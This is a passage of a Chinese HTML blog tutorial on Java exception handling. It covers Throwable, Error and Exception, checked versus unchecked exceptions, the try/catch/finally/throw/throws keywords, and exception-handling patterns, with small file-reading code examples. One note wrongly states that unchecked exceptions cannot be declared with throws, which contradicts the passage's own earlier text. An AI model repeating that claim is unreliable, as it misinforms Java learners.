Exception(异常),它们通常用于指示发生了异常情况。</p> <p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin: 1em 4px;">Throwable 包含了其线程创建时线程执行堆栈的快照,它提供了 printStackTrace() 等接口用于获取堆栈跟踪数据等信息。</p> <h3 data-tool="mdnice编辑器" style="font-size: 20px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);"><span style="display: none;"></span>2. Error(错误)<span style="display: none;"></span></h3> <p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin: 1em 4px;">定义:Error 类及其子类。程序中无法处理的错误,表示运行应用程序中出现了严重的错误。</p> <p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin: 1em 4px;">特点:此类错误一般表示代码运行时 JVM 出现问题。通常有 Virtual MachineError(虚拟机运行错误)、NoClassDefFoundError(类定义错误)等。比如 OutOfMemoryError:内存不足错误;StackOverflowError:栈溢出错误。此类错误发生时,JVM 将终止线程。</p> <p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin: 1em 4px;">这些错误是不受检异常,非代码性错误。因此,当此类错误发生时,应用程序不应该去处理此类错误。按照Java惯例,我们是不应该实现任何新的Error子类的!</p> <h3 data-tool="mdnice编辑器" style="font-size: 20px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);"><span style="display: none;"></span>3. Exception(异常)<span style="display: none;"></span></h3> <p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin: 1em 4px;">程序本身可以捕获并且可以处理的异常。Exception 这种异常又分为两类:运行时异常和编译时异常。</p> <h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span style="display: none;"></span>运行时异常<span style="display: none;"></span></h4> <p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin: 1em 4px;">定义:RuntimeException 类及其子类,表示 JVM 在运行期间可能出现的异常。</p> <p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin: 1em 4px;">特点:Java 编译器不会检查它。也就是说,当程序中可能出现这类异常时,倘若既"没有通过throws声明抛出它",也"没有用try-catch语句捕获它",还是会编译通过。比如NullPointerException空指针异常、ArrayIndexOutBoundException数组下标越界异常、ClassCastException类型转换异常、ArithmeticExecption算术异常。</p> <p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin: 1em 4px;">此类异常属于不受检异常,一般是由程序逻辑错误引起的,在程序中可以选择捕获处理,也可以不处理。虽然 Java 编译器不会检查运行时异常,但是我们也可以通过 throws 进行声明抛出,也可以通过 try-catch 对它进行捕获处理。如果产生运行时异常,则需要通过修改代码来进行避免。例如,若会发生除数为零的情况,则需要通过代码避免该情况的发生!</p> <p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin: 1em 4px;">RuntimeException 异常会由 Java 虚拟机自动抛出并自动捕获(就算我们没写异常捕获语句运行时也会抛出错误!!),此类异常的出现绝大数情况是代码本身有问题应该从逻辑上去解决并改进代码。</p> <h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span style="display: none;"></span>编译时异常<span style="display: none;"></span></h4> <p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin: 1em 4px;">定义: Exception 中除 RuntimeException 及其子类之外的异常。</p> <p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin: 1em 4px;">特点: Java 编译器会检查它。如果程序中出现此类异常,比如 ClassNotFoundException(没有找到指定的类异常),IOException(IO流异常),要么通过throws进行声明抛出,要么通过try-catch进行捕获处理,否则不能通过编译。在程序中,通常不会自定义该类异常,而是直接使用系统提供的异常类。该异常我们必须手动在代码里添加捕获语句来处理该异常。</p> <h3 data-tool="mdnice编辑器" style="font-size: 20px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);"><span style="display: none;"></span>4. 受检异常与非受检异常<span style="display: none;"></span></h3> <p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin: 1em 4px;">Java 的所有异常可以分为受检异常(checked exception)和非受检异常(unchecked exception)。</p> <h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span style="display: none;"></span>受检异常<span style="display: none;"></span></h4> <p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin: 1em 4px;">编译器要求必须处理的异常。正确的程序在运行过程中,经常容易出现的、符合预期的异常情况。一旦发生此类异常,就必须采用某种方式进行处理。除 RuntimeException 及其子类外,其他的 Exception 异常都属于受检异常。编译器会检查此类异常,也就是说当编译器检查到应用中的某处可能会此类异常时,将会提示你处理本异常——要么使用try-catch捕获,要么使用方法签名中用 throws 关键字抛出,否则编译不通过。</p> <h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span style="display: none;"></span>非受检异常<span style="display: none;"></span></h4> <p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin: 1em 4px;">编译器不会进行检查并且不要求必须处理的异常,也就说当程序中出现此类异常时,即使我们没有try-catch捕获它,也没有使用throws抛出该异常,编译也会正常通过。该类异常包括运行时异常(RuntimeException极其子类)和错误(Error)。</p> <h2 data-tool="mdnice编辑器" style="min-height: 32px;line-height: 28px;color: rgb(119, 48, 152);border-bottom: 1px solid rgb(119, 48, 152);border-top-color: rgb(119, 48, 152);border-right-color: rgb(119, 48, 152);border-left-color: rgb(119, 48, 152);font-size: 22px;margin: 1em auto;padding-top: 0.5em;padding-bottom: 0.5em;text-align: center;width: 85%;font-weight: bold;display: flex;flex-direction: column;justify-content: center;"><span style="display: none;"></span>Java异常关键字</h2> <ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;" class="list-paddingleft-2"> <li> <section style="line-height: 26px;color: rgb(1, 1, 1);margin-top: 10px;margin-bottom: 10px;"> try – 用于监听。将要被监听的代码(可能抛出异常的代码)放在try语句块之内,当try语句块内发生异常时,异常就被抛出。 </section></li> <li> <section style="line-height: 26px;color: rgb(1, 1, 1);margin-top: 10px;margin-bottom: 10px;"> catch – 用于捕获异常。catch用来捕获try语句块中发生的异常。 </section></li> <li> <section style="line-height: 26px;color: rgb(1, 1, 1);margin-top: 10px;margin-bottom: 10px;"> finally – finally语句块总是会被执行。它主要用于回收在try块里打开的物力资源(如数据库连接、网络连接和磁盘文件)。只有finally块,执行完成之后,才会回来执行try或者catch块中的return或者throw语句,如果finally中使用了return或者throw等终止方法的语句,则就不会跳回执行,直接停止。 </section></li> <li> <section style="line-height: 26px;color: rgb(1, 1, 1);margin-top: 10px;margin-bottom: 10px;"> throw – 用于抛出异常。 </section></li> <li> <section style="line-height: 26px;color: rgb(1, 1, 1);margin-top: 10px;margin-bottom: 10px;"> throws – 用在方法签名中,用于声明该方法可能抛出的异常。 </section></li> </ul> <section style="line-height: 26px;color: rgb(1, 1, 1);margin-top: 10px;margin-bottom: 10px;"> <a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzIyNDU2ODA4OQ==&amp;mid=2247486846&amp;idx=1&amp;sn=75bd4dcdbaad73191a1e4dbf691c118a&amp;chksm=e80dbb08df7a321e7670b8c49e33a9ef03a94da3638eefc82581507c960179e5b955e2a9a568&amp;scene=21#wechat_redirect" data-itemshowtype="0" tab="innerlink" data-linktype="2" hasload="1" style=""></a> </section> <h2 data-tool="mdnice编辑器" style="min-height: 32px;line-height: 28px;color: rgb(119, 48, 152);border-bottom: 1px solid rgb(119, 48, 152);border-top-color: rgb(119, 48, 152);border-right-color: rgb(119, 48, 152);border-left-color: rgb(119, 48, 152);font-size: 22px;margin: 1em auto;padding-top: 0.5em;padding-bottom: 0.5em;text-align: center;width: 85%;font-weight: bold;display: flex;flex-direction: column;justify-content: center;"><span style="display: none;"></span>Java异常处理</h2> <figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"> <img class="rich_pages wxw-img" data-ratio="0.5895238095238096" src="/upload/44db2649d55bea3ed6c86c75bb26a9aa.png" data-type="png" data-w="1050" style="display: block;margin-right: auto;margin-left: auto;"> </figure> <p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin: 1em 4px;">Java 通过面向对象的方法进行异常处理,一旦方法抛出异常,系统自动根据该异常对象寻找合适异常处理器(Exception Handler)来处理该异常,把各种不同的异常进行分类,并提供了良好的接口。</p> <p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin: 1em 4px;">在 Java 中,每个异常都是一个对象,它是 Throwable 类或其子类的实例。当一个方法出现异常后便抛出一个异常对象,该对象中包含有异常信息,调用这个对象的方法可以捕获到这个异常并可以对其进行处理。Java 的异常处理是通过 5 个关键词来实现的:try、catch、throw、throws 和 finally。</p> <p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin: 1em 4px;">在Java应用中,异常的处理机制分为声明异常,抛出异常和捕获异常。</p> <h3 data-tool="mdnice编辑器" style="font-size: 20px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);"><span style="display: none;"></span>声明异常<span style="display: none;"></span></h3> <p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin: 1em 4px;">通常,应该捕获那些知道如何处理的异常,将不知道如何处理的异常继续传递下去。传递异常可以在方法签名处使用 throws 关键字声明可能会抛出的异常。</p> <p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin: 1em 4px;">注意</p> <ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;" class="list-paddingleft-2"> <li> <section style="line-height: 26px;color: rgb(1, 1, 1);margin-top: 10px;margin-bottom: 10px;"> 非检查异常(Error、RuntimeException 或它们的子类)不可使用 throws 关键字来声明要抛出的异常。 </section></li> <li> <section style="line-height: 26px;color: rgb(1, 1, 1);margin-top: 10px;margin-bottom: 10px;"> 一个方法出现编译时异常,就需要 try-catch/ throws 处理,否则会导致编译错误。抛出异常 </section></li> </ul> <p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin: 1em 4px;">如果你觉得解决不了某些异常问题,且不需要调用者处理,那么你可以抛出异常。</p> <p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin: 1em 4px;">throw关键字作用是在方法内部抛出一个Throwable类型的异常。任何Java代码都可以通过throw语句抛出异常。</p> <h3 data-tool="mdnice编辑器" style="font-size: 20px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);"><span style="display: none;"></span>捕获异常<span style="display: none;"></span></h3> <p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin: 1em 4px;">程序通常在运行之前不报错,但是运行后可能会出现某些未知的错误,但是还不想直接抛出到上一级,那么就需要通过try…catch…的形式进行异常捕获,之后根据不同的异常情况来进行相应的处理。</p> <h2 data-tool="mdnice编辑器" style="min-height: 32px;line-height: 28px;color: rgb(119, 48, 152);border-bottom: 1px solid rgb(119, 48, 152);border-top-color: rgb(119, 48, 152);border-right-color: rgb(119, 48, 152);border-left-color: rgb(119, 48, 152);font-size: 22px;margin: 1em auto;padding-top: 0.5em;padding-bottom: 0.5em;text-align: center;width: 85%;font-weight: bold;display: flex;flex-direction: column;justify-content: center;"><span style="display: none;"></span>如何选择异常类型</h2> <p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin: 1em 4px;">可以根据下图来选择是捕获异常,声明异常还是抛出异常</p> <figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"> <img class="rich_pages wxw-img" src="/upload/de322a465990f52d5449637d76bd9be6.png" data-cropx1="0" data-cropx2="1078" data-cropy1="0" data-cropy2="386.06574394463667" data-ratio="0.3580705009276438" src="https://mmbiz.qpic.cn/mmbiz_jpg/eZzl4LXykQzfS5wDCCM4cK1dQu4ja5g6ibA1c7u8zIGynZm3hTka120bBFVm9zGgQ28oibzUTtMJkyZ84t8ibl3zA/640?wx_fmt=jpeg" data-type="jpeg" data-w="1078" style="display: block;margin-right: auto;margin-left: auto;width: 578px;height: 207px;"> </figure> <h2 data-tool="mdnice编辑器" style="min-height: 32px;line-height: 28px;color: rgb(119, 48, 152);border-bottom: 1px solid rgb(119, 48, 152);border-top-color: rgb(119, 48, 152);border-right-color: rgb(119, 48, 152);border-left-color: rgb(119, 48, 152);font-size: 22px;margin: 1em auto;padding-top: 0.5em;padding-bottom: 0.5em;text-align: center;width: 85%;font-weight: bold;display: flex;flex-direction: column;justify-content: center;"><span style="display: none;"></span>常见异常处理方式</h2> <h3 data-tool="mdnice编辑器" style="font-size: 20px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);"><span style="display: none;"></span>直接抛出异常<span style="display: none;"></span></h3> <p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin: 1em 4px;">通常,应该捕获那些知道如何处理的异常,将不知道如何处理的异常继续传递下去。传递异常可以在方法签名处使用 throws 关键字声明可能会抛出的异常。</p> <pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&quot;https://mmbiz.qpic.cn/mmbiz_png/8KKrHK5ic6XCOe7TKSzdkbeiatIodD1Q0J1wvTEW1aIplibGM0oOicic9wbTWsPJVprbmF1FQTgBH3z4jEmrichNoEBQ/640?wx_fmt=png&quot;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">private</span>&nbsp;<span style="color: #c678dd;line-height: 26px;">static</span>&nbsp;<span style="color: #c678dd;line-height: 26px;">void</span>&nbsp;<span style="color: #61aeee;line-height: 26px;">readFile</span><span style="line-height: 26px;">(String&nbsp;filePath)</span>&nbsp;<span style="color: #c678dd;line-height: 26px;">throws</span>&nbsp;IOException&nbsp;</span>{<br>&nbsp;&nbsp;&nbsp;&nbsp;File&nbsp;file&nbsp;=&nbsp;<span style="color: #c678dd;line-height: 26px;">new</span>&nbsp;File(filePath);<br>&nbsp;&nbsp;&nbsp;&nbsp;String&nbsp;result;<br>&nbsp;&nbsp;&nbsp;&nbsp;BufferedReader&nbsp;reader&nbsp;=&nbsp;<span style="color: #c678dd;line-height: 26px;">new</span>&nbsp;BufferedReader(<span style="color: #c678dd;line-height: 26px;">new</span>&nbsp;FileReader(file));<br>&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #c678dd;line-height: 26px;">while</span>((result&nbsp;=&nbsp;reader.readLine())!=<span style="color: #c678dd;line-height: 26px;">null</span>)&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;System.out.println(result);<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;reader.close();<br>}<br></code></pre> <h3 data-tool="mdnice编辑器" style="font-size: 20px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);"><span style="display: none;"></span>封装异常再抛出<span style="display: none;"></span></h3> <p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin: 1em 4px;">有时我们会从 catch 中抛出一个异常,目的是为了改变异常的类型。多用于在多系统集成时,当某个子系统故障,异常类型可能有多种,可以用统一的异常类型向外暴露,不需暴露太多内部异常细节。</p> <pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&quot;https://mmbiz.qpic.cn/mmbiz_png/8KKrHK5ic6XCOe7TKSzdkbeiatIodD1Q0J1wvTEW1aIplibGM0oOicic9wbTWsPJVprbmF1FQTgBH3z4jEmrichNoEBQ/640?wx_fmt=png&quot;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">private</span>&nbsp;<span style="color: #c678dd;line-height: 26px;">static</span>&nbsp;<span style="color: #c678dd;line-height: 26px;">void</span>&nbsp;<span style="color: #61aeee;line-height: 26px;">readFile</span><span style="line-height: 26px;">(String&nbsp;filePath)</span>&nbsp;<span style="color: #c678dd;line-height: 26px;">throws</span>&nbsp;MyException&nbsp;</span>{&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #c678dd;line-height: 26px;">try</span>&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #5c6370;font-style: italic;line-height: 26px;">//&nbsp;code</span><br>&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<span style="color: #c678dd;line-height: 26px;">catch</span>&nbsp;(IOException&nbsp;e)&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MyException&nbsp;ex&nbsp;=&nbsp;<span style="color: #c678dd;line-height: 26px;">new</span>&nbsp;MyException(<span style="color: #98c379;line-height: 26px;">"read&nbsp;file&nbsp;failed."</span>);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ex.initCause(e);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #c678dd;line-height: 26px;">throw</span>&nbsp;ex;<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>}<br></code></pre> <h3 data-tool="mdnice编辑器" style="font-size: 20px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);"><span style="display: none;"></span>捕获异常<span style="display: none;"></span></h3> <p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin: 1em 4px;">在一个 try-catch 语句块中可以捕获多个异常类型,并对不同类型的异常做出不同的处理</p> <pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&quot;https://mmbiz.qpic.cn/mmbiz_png/8KKrHK5ic6XCOe7TKSzdkbeiatIodD1Q0J1wvTEW1aIplibGM0oOicic9wbTWsPJVprbmF1FQTgBH3z4jEmrichNoEBQ/640?wx_fmt=png&quot;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">private</span>&nbsp;<span style="color: #c678dd;line-height: 26px;">static</span>&nbsp;<span style="color: #c678dd;line-height: 26px;">void</span>&nbsp;<span style="color: #61aeee;line-height: 26px;">readFile</span><span style="line-height: 26px;">(String&nbsp;filePath)</span>&nbsp;</span>{<br>&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #c678dd;line-height: 26px;">try</span>&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #5c6370;font-style: italic;line-height: 26px;">//&nbsp;code</span><br>&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<span style="color: #c678dd;line-height: 26px;">catch</span>&nbsp;(FileNotFoundException&nbsp;e)&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #5c6370;font-style: italic;line-height: 26px;">//&nbsp;handle&nbsp;FileNotFoundException</span><br>&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<span style="color: #c678dd;line-height: 26px;">catch</span>&nbsp;(IOException&nbsp;e){<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #5c6370;font-style: italic;line-height: 26px;">//&nbsp;handle&nbsp;IOException</span><br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>}<br></code></pre> <p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin: 1em 4px;">同一个 catch 也可以捕获多种类型异常,用 | 隔开</p> <pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&quot;https://mmbiz.qpic.cn/mmbiz_png/8KKrHK5ic6XCOe7TKSzdkbeiatIodD1Q0J1wvTEW1aIplibGM0oOicic9wbTWsPJVprbmF1FQTgBH3z4jEmrichNoEBQ/640?wx_fmt=png&quot;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">private</span>&nbsp;<span style="color: #c678dd;line-height: 26px;">static</span>&nbsp;<span style="color: #c678dd;line-height: 26px;">void</span>&nbsp;<span style="color: #61aeee;line-height: 26px;">readFile</span><span style="line-height: 26px;">(String&nbsp;filePath)</span>&nbsp;</span>{<br>&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #c678dd;line-height: 26px;">try</span>&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #5c6370;font-style: italic;line-height: 26px;">//&nbsp;code</span><br>&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<span style="color: #c678dd;line-height: 26px;">catch</span>&nbsp;(FileNotFoundException&nbsp;|&nbsp;UnknownHostException&nbsp;e)&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #5c6370;font-style: italic;line-height: 26px;">//&nbsp;handle&nbsp;FileNotFoundException&nbsp;or&nbsp;UnknownHostException</span><br>&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<span style="color: #c678dd;line-height: 26px;">catch</span>&nbsp;(IOException&nbsp;e){<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #5c6370;font-style: italic;line-height: 26px;">//&nbsp;handle&nbsp;IOException</span><br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>}<br></code></pre> <h3 data-tool="mdnice编辑器" style="font-size: 20px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);"><span style="display: none;"></span>自定义异常<span style="display: none;"></span></h3> <p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin: 1em 4px;">习惯上,定义一个异常类应包含两个构造函数,一个无参构造函数和一个带有详细描述信息的构造函数(Throwable 的 toString 方法会打印这些详细信息,调试时很有用)</p> <pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&quot;https://mmbiz.qpic.cn/mmbiz_png/8KKrHK5ic6XCOe7TKSzdkbeiatIodD1Q0J1wvTEW1aIplibGM0oOicic9wbTWsPJVprbmF1FQTgBH3z4jEmrichNoEBQ/640?wx_fmt=png&quot;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #c678dd;line-height: 26px;">public</span>&nbsp;<span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">class</span>&nbsp;<span style="color: #e6c07b;line-height: 26px;">MyException</span>&nbsp;<span style="color: #c678dd;line-height: 26px;">extends</span>&nbsp;<span style="color: #e6c07b;line-height: 26px;">Exception</span>&nbsp;</span>{<br>&nbsp;&nbsp;&nbsp;&nbsp;<span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">public</span>&nbsp;<span style="color: #61aeee;line-height: 26px;">MyException</span><span style="line-height: 26px;">()</span></span>{&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;<span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">public</span>&nbsp;<span style="color: #61aeee;line-height: 26px;">MyException</span><span style="line-height: 26px;">(String&nbsp;msg)</span></span>{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #c678dd;line-height: 26px;">super</span>(msg);<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #5c6370;font-style: italic;line-height: 26px;">//&nbsp;...</span><br>}<br></code></pre> <h3 data-tool="mdnice编辑器" style="font-size: 20px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);"><span style="display: none;"></span>try-catch-finally<span style="display: none;"></span></h3> <p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin: 1em 4px;">当方法中发生异常,异常处之后的代码不会再执行,如果之前获取了一些本地资源需要释放,则需要在方法正常结束时和 catch 语句中都调用释放本地资源的代码,显得代码比较繁琐,finally 语句可以解决这个问题。</p> <pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&quot;https://mmbiz.qpic.cn/mmbiz_png/8KKrHK5ic6XCOe7TKSzdkbeiatIodD1Q0J1wvTEW1aIplibGM0oOicic9wbTWsPJVprbmF1FQTgBH3z4jEmrichNoEBQ/640?wx_fmt=png&quot;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">private</span>&nbsp;<span style="color: #c678dd;line-height: 26px;">static</span>&nbsp;<span style="color: #c678dd;line-height: 26px;">void</span>&nbsp;<span style="color: #61aeee;line-height: 26px;">readFile</span><span style="line-height: 26px;">(String&nbsp;filePath)</span>&nbsp;<span style="color: #c678dd;line-height: 26px;">throws</span>&nbsp;MyException&nbsp;</span>{<br>&nbsp;&nbsp;&nbsp;&nbsp;File&nbsp;file&nbsp;=&nbsp;<span style="color: #c678dd;line-height: 26px;">new</span>&nbsp;File(filePath);<br>&nbsp;&nbsp;&nbsp;&nbsp;String&nbsp;result;<br>&nbsp;&nbsp;&nbsp;&nbsp;BufferedReader&nbsp;reader&nbsp;=&nbsp;<span style="color: #c678dd;line-height: 26px;">null</span>;<br>&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #c678dd;line-height: 26px;">try</span>&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;reader&nbsp;=&nbsp;<span style="color: #c678dd;line-height: 26px;">new</span>&nbsp;BufferedReader(<span style="color: 